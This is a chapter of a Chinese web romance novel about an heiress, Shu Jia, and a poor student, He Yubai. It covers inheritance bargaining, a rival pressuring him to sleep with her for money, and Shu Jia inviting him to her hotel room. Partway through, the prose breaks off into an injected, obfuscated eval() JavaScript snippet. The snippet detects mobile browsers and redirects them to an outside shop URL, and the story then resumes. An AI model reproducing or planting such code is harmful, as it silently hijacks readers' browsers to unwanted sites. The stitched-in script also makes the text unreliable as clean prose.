“意思就是,你和妈妈在外面的那几个私生子,别想分到舒家一分家产。”舒嘉懒洋洋地问,“可以做到吗?爸爸。” 舒知行惊愕得一时不知该说些什么,许久才回过神来,面色阴沉地示意秘书出去。 一直以来,他好像都忽略了一件事。 他忙于集团繁杂琐碎的事务,却不曾发觉他捧在手心里的公主已经长大,她不想做温室里娇惯富贵的花朵,也毫不避讳将她的野心展示在他的面前。 是的,除了舒远,她也是合法的舒氏继承人。 舒嘉的要求,并不过分。 电脑屏幕上是私人医生刚发来的体检报告,一行行醒目的红色提醒着舒知行,他再不是年轻时候的身体,亟需休养。 漫长的沉默后,舒知行闭上眼,妥协地,长长呼出一口气。 “欢迎回家,嘉嘉。” * 为了能在大二学年顺利入学港大,舒嘉必须要尽快补齐学分,如果她能在月底前完成学分要求,就可以提前离校,回川港休息一阵子。 为此,舒嘉特意挑选了一门学分高又好结课的选修课,听说只要参加三次课堂测验并拿到A以上的成绩,就可以轻松拿到学分。 舒嘉没想到会在这门课上再见到贺屿白,直到此刻,她才想起那个被舒知行一通电话破坏掉的潦草生日,还有那个被她遗忘的蛋糕。 浪费蛋糕的行为很可耻,舒嘉懊恼地在心里提醒自己,以后不可以再这样粗心。 而后她自然而然地在贺屿白身边的空位上坐下,熟稔地和他打招呼:“你也选了这门课?” 男生从书本间抬起头,好看的眉眼一如既往的冷淡,他点头,身体不自觉地坐直了些。 “我是听别人说这门课很水特别好拿学分才选的,没想到你这种好学生也会偷懒选这样的课啊。”舒嘉笑说。 贺屿白抿唇,没有接话。 舒嘉不会知道,他就是她口中的那个“别人”。 高考结束后的暑假,贺屿白偷偷关注了舒嘉的ins账号。 想找到舒嘉的社交账号并不难,舒氏集团的名字常年挂在各大官号首页,只要稍微仔细翻一翻,就能顺着蛛丝马迹找到她。 她的头像是一个很可爱的Kerry熊表情包,一直没有换,昵称是“+”。 舒嘉会发很多生活照,偶尔也会碎碎念一些日常琐事。 他像一个卑劣的窥探者,一条条往前翻,试图以这样的方式,感知他不曾见过的,舒嘉的生活。 她在雪山的最高处顶着红扑扑的脸蛋对着镜头笑得明艳,在国外辽远的山林间,让一只威风凛凛的渡鸦停栖在她的手上。 沙滩上女孩穿着碎绿的泳衣,海浪掀起潮花,她踩在冲浪板上眉眼灿灿地比耶,比身后的万千风景都要耀眼。 那是舒嘉的世界,遥远的、他一生都无法踏足的世界。 “有人知道湾大哪门课最好凑学分吗?急求急求[Kerry哭哭][Kerry拜年]” 直到他看见这一条舒嘉随手发的求助。 鬼使神差地,贺屿白在下面留了言 。 “法学院陈朔教授的《国际商法》,三次测验就能拿到学分,不卡人。” 他没想到舒嘉真的会来,而且,还坐在了他的旁边。 仿佛又回到了栖塘镇的春天,那个潮湿的雨季。 玫瑰一样的女孩,张扬地闯入他的领地。 他们之间,好像什么都没发生过,又好像经历了许多事,朦胧的,不真实的。 舒嘉会准时出现在教室,而贺屿白也习惯了替她占好最后一排靠窗的位置,仿佛某种心照不宣的约定。 最后一次课堂测验那天,舒嘉交完试卷,雀跃地松了口气。 郑歆宜打来电话,舒嘉揉了揉发酸的手腕,拿起手机去了洗手间。 对方问及舒嘉回川港的具体日期,她好安排给好姐妹接风。 “周六吧,不过也可能耽搁几天。”舒嘉说。 她的美术作业还差一点收尾没完成。 “你快点回来嘛,我都快无聊死了。” “知道啦,很快了。” 安慰完好姐妹,舒嘉这时才注意到有两条未读的短信,她平时有两部手机,一部算是工作手机,联系人大部分都是一些拍卖展上认识的各行各业的精英人士,另一部则是私人手机。 前阵子她忙着和Cathy聊珠宝创意,一直用的那部工作手机,今天才换回私人手机。 点开一看,是一个陌生号码发来的短信,语气拘谨小心,提醒她记得来取她的蛋糕。 舒嘉怔了怔,看了眼短信接收的时间,23:29。 原来那天晚上,贺屿白一直在等她吗? 一块蛋糕而已。 而且,她明明说过的,可以打电话给她。 舒嘉握着手机,失笑,想说他傻,又觉得这样的字眼显然不适合用在他那样成绩优异的好学生身上。 正想着贺屿白,舒嘉就看见了他。 教室后门旁,走廊尽头的角落,男生靠墙站着,而那个叫李恬的女生正站在他面前,气势汹汹地,声调扬得很凶,一副高高在上的模样。 “……我早就警告过你不要不知好歹,三十万,足够你的学费和生活费了吧?你还想怎么样?睡一次而已,又不会让你少块肉。不想继续丢掉工作的话,我劝你最好还是老老实实听我的话。” 男生手指微微攥成拳,冷白的皮肤因为耻辱而涨红,他低着声说了句什么,李恬顿时更加愤怒,“你别给脸不要脸!你等着吧,早晚有你跪下来求我的那天,到时候你可别后悔!” 舒嘉及时轻咳了声,两人同时抬头看来,舒嘉无辜眨眼,一脸歉意,指了指被李恬堵住的教室后门,“抱歉,不是故意偷听你们说话的。要上课了哦。” 李恬扫了舒嘉一眼,哼了声,转身走开了。 舒嘉无事发生般走进教室,坐回座位上。贺屿白很快跟进来,他坐下的动作有些局促,舒嘉余光瞥去,就看见他好看的薄唇微动,像是想要解释,又不知道该如何开口。 还是那副好欺负的模样啊,和那晚一样。 舒嘉想。 “我……我和她不是你想的那样,我没有、没有答应……”贺屿白低着头,声音低得几乎要听不见,话语也乱糟糟的。 “答应什么?三十万吗? ”舒嘉扭头看他,故意重复道。 他耻于说出口的话,就这样被她轻描淡写地说了出来。 男生放在膝盖上的手骤然蜷紧,眼睫垂得很低,唇瓣也咬紧了。 自卑和耻辱让他不敢抬头,只能感受到属于舒嘉的香气靠近,她的声音落在耳边,每个咬字,都是天使的诱引。 “我说过,需要帮忙的话,可以随时跟我说。” 这句话,舒嘉不是第一次对他说起。 贺屿白像一个做了错事被批评的男孩,脖颈折得更低,在天使的耐心教导下,沉默地反省着自己的过错。 “我可以比她给得更多。有兴趣考虑一下吗?”舒嘉收起书本,漂亮的脸上绽开微笑,“周六之前我都会在画室,随时欢迎。” 她走了,留下贺屿白怔然坐在那里。 心脏在舒嘉听不到的地方,一声一声,狂跳不止。 * 助理安雅发来信息确认,是否按照原定行程明天返回川港。 舒嘉随手回了个点头的表情包。 这几天,舒嘉几乎一整天都待在画室,她没和赵娅她们说起要离开的事,也没打算和任何人提起。 几个人照旧叽叽喳喳地和舒嘉分享八卦,偶尔也会感叹几句舒嘉的勤奋。 “嘉嘉,你这么努力,搞得我们几个都不好意思了。赵老师人很好的,你随便糊弄一幅画交上去都能给你过的,没必要这么用心。” 舒嘉只是笑,“你们先走吧,我还要再画几个小时呢。” “好吧好吧,别累着自己,明天见啊。” “嗯,拜拜。” 傍晚,舒嘉从画架前直起身,满意地打量着这幅耗费了她不少心血的画作。 画完全晾干还要等上一会儿,舒嘉无聊地拿出手机,这时才瞥见玻璃窗外不知道什么时候站了个人。 他应该已经在那里站了很久了,暮春的雨潮湿绵密,即使有房檐遮挡,也浸在风里,染过头发、衣服。 舒嘉好整以暇地看着男生清瘦挺拔的背影,心想他还打算站多久才进来。 明天她就要离开云湾,回到川港,往后大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259125|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也不会见到贺屿白了。 她向来不喜欢留下遗憾。 好在遗憾也从来不会在她的生命里发生。 舒嘉莞尔,收回视线,闲闲地点开几条财报新闻。 不知道过了多久,画纸上的颜料都干透了,雨声大了起来,敲着玻璃窗,沉闷的,有些吵。 画室的门终于被人轻轻敲响。 舒嘉抬眸,毫不意外地看向门口局促拘束的男生。 她灿灿一笑,“想好了?” 他穿着简单的灰色外套和运动裤,廉价的面料衬出一双修长笔直的腿。 低垂的眉眼很淡漠也很漂亮,头发有些湿,让舒嘉想到她曾经救助过的一只湿漉漉的黑色狼犬。 贺屿白沉默地走过来,酝酿着,想要说些什么。 比如她那句话是什么意思,他们之后会是什么关系? 舒嘉却没有耐心再给他思考的余地,今晚,她只有今晚,也只要今晚。 舒嘉倾身靠近,手指勾住男生的衣领,拉着他俯下身来。 贺屿白踉跄了下,一只手僵硬地撑在舒嘉坐着的椅子扶手上,骤然拉近的距离,让他的唇险些碰到舒嘉的眼睛。 她的呼吸蹭过他的下颌,贺屿白微微发抖,下意识地闭上眼,从喉咙里挤出低哑的字眼:“我、我不要钱……” 舒嘉微怔,而后弯唇,她没回应他这句欲盖弥彰的强调,只是贴着他泛红的耳尖,告诉他:“今晚七点,房间号7018。” 贺屿白喉结滚动,身体发软,再往前一点,就要亲上去。 而舒嘉已经抽身离开。 他胸膛剧烈起伏,很久之后才直起身来,手摸向口袋,握紧了舒嘉塞进去的那张房卡。 电话响起,不知疲倦地震动。 贺屿白指尖发颤,像从一场梦中惊醒,看了眼屏幕上显示的名字,深吸一口气接起。 “屿白啊,最近在云湾那边过得怎么样?你放心,房子的事我都交接好了,你奶奶还在的时候帮过我们家不少忙,这点小事我还是办得明白的。” 贺屿白缓了缓呼吸,“谢谢孙叔叔,钱我上周已经收到了。” 对方操着一口浓重的乡音关心道:“三十万够不够?你还要出国读书吧?不够的话再跟叔叔讲,叔叔再想办法凑一凑。” “够的叔叔。”贺屿白哑声, “谢谢您。” 对方又不放心地说了很多叮嘱的话,贺屿白走出画室的时候,天已经黑透了。 那张房卡还握在手心,沾着他的汗,有些粘腻。 “桦莱酒店 7018”。 贺屿白盯着那行醒目的金字,他想他应该觉得难堪,却难以自抑地,生出毫无尊严的渴望。 渴望舒嘉的吻,渴望和她待在一个房间,渴望被她摆弄,怎样,怎样都可以。 他终究还是裹紧了单薄的外套,出了校门,伸手拦下一辆出租车。 低声地,报出了桦莱酒店的名字。 * 舒嘉回到套房,安雅打来电话,让她抽空清点一下明天要带回川港的东西。 “管家那里有清单,你对着整理就好。”舒嘉才洗过澡,随意换了身长裙,懒洋洋歪在沙发里,并不想动。 “好的舒小姐,您要的酒要现在送过来吗?”安雅问。 “十五分钟后送来吧。”舒嘉看了眼表,又看了眼安静的房门, “我的晚餐还没到。” 安雅愣了下,心想晚餐不是半小时前就送到房间了吗? 但舒嘉已经挂断了电话,安雅只好咽下肚子里的疑惑,先联系了舒嘉的私人管家,对着清单把那些名贵的画作和首饰一样样装进箱子里。 十五分钟后,安雅敲响了门,把舒嘉要的酒送了过来。 “舒小姐,有个……呃,有个男生,看起来挺年轻的,不像是偷拍的狗仔,在走廊里站了很久了,一直盯着您的房间门口,需要我帮您把他赶走吗?” “不用。”舒嘉对此似乎毫不意外,“不用管他。” 安雅有些摸不着头脑,一头雾水地离开了。 舒嘉开了酒,香槟的气泡满溢在透明的水晶高脚杯里,她漫不经心地轻晃,视线始终盯着对面墙壁上挂着的古董钟。 咔咔,咔咔。 指针机械地转动。 她耐心地等着,摇晃酒杯的动作,矜贵,优雅。 指针将将指过七点,敲门声随之响起,很轻的两声,几乎要淹没在古董挂钟浑厚的沉音里。 舒嘉手腕停住,从容地放下杯子。 房门没有关。 短暂的安静后,贺屿白推开门,沾染了雨水的鞋底踩在房间门口昂贵的绒毯上,让他的脸上闪过一丝局促的不安。 他的外套被入夜的雨打湿,带进一阵冷冽的水气,和房间里的薄荷香氛微妙地混在一起。 玻璃窗开着,昏黄的光线蒙着湿潮,她的私人领地,到处浮动着暧昧的气息。 贺屿白小心地关上房门,走到舒嘉面前。 他感觉脸颊发烫,呼吸因为紧张而失去应有的沉静节律。 舒嘉靠在柔软的皮质沙发里,仰起脸,直白地打量着他的眉眼,他的身体。他的一切。 而后她抿了口酒,轻笑了下,耐心地提醒他,她的规矩。 “抱歉,我没有仰视别人的习惯。”